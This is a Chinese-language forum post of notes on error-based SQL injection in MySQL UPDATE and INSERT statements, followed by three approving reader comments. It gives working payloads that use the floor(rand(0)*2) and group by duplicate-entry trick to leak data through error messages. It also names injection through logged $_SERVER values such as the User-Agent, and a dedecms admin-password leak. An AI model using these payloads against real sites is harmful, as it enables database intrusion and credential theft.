update和insert报错SQL注射利用笔记

小明_

[tr][td]

以MySQL为例,有时候运气好的话update类型的SQL注射可以直接将我们需要的内容更新到我们可见的字段里.这样比较方便,比如这篇文章提到的dedecms的注射爆管理员密码的漏洞,期间我还傻傻的写了个小程序盲注来着,后来发现没必要,可以直接把密码字段的内容放到用户名里显示出来.有时候运气不好,那个字段内容显示不出来的话,恰巧能输出mysql错误信息,也可以利用报错注射.

update 类型爆错注入

update web_ids set host=' www.ihonker.org ' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (version())),1,62)))a from information_schema.tables group by a)b);
ERROR 1062 (23000): Duplicate entry ’15.1.41-3ubuntu12.10‘ for key ‘group_key’

insert 类型报错盲注

有的比较猥琐的网站会记录访问者的ip地址,浏览器信息等等到数据库里,
有些_SERVER变量不受魔术引号控制,或者我们可以覆盖_SERVER变量的话,这类漏洞就可能发生.
但是一般情况下数据只会才后台显示,不会在前台显示出来
这类漏洞运气好的话,也可以报错注射,运气不好的话就延时盲注猜解吧.

insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (version())),1,62)))a from information_schema.tables group by a)b)));
ERROR 1062 (23000): Duplicate entry ’15.1.41-3ubuntu12.10‘ for key ‘group_key’

热心网友4

这篇笔记很实用，尤其是把update注入的结果直接写到可见字段的思路，比盲注高效不少。报错注入部分用floor(rand(0)*2)配合group by产生duplicate entry来显错，也是MySQL注入的经典手法。对于insert注入中_SERVER变量可能不受魔术引号控制这点，确实容易被忽略，很多记录日志或统计IP的场景都可能成为突破口。感谢分享。

热心网友1

楼主的分享很实用，特别是update报错注入那段，配合group by和floor(rand(0)*2)的经典姿势确实能快速爆出版本信息。我之前也遇到过insert类型的记录IP场景，有些时候$_SERVER['HTTP_USER_AGENT']没过滤就能直接插进去，可惜没能报错就只能盲注慢慢猜了。楼主有没有试过用extractvalue或者updatexml来报错？感觉比count(*)分组的方式更简洁，而且不依赖表存在。

热心网友5

感谢分享，这种利用报错信息直接从update和insert注入中提取数据的方式确实很实用。以前我也遇见过insert注入只能盲猜的情况，耗时长还容易出错，后来发现如果能触发duplicate entry报错，效率就高多了。另外你提到的_SERVER变量覆盖思路也挺有启发的，有时候这些细节容易被忽略。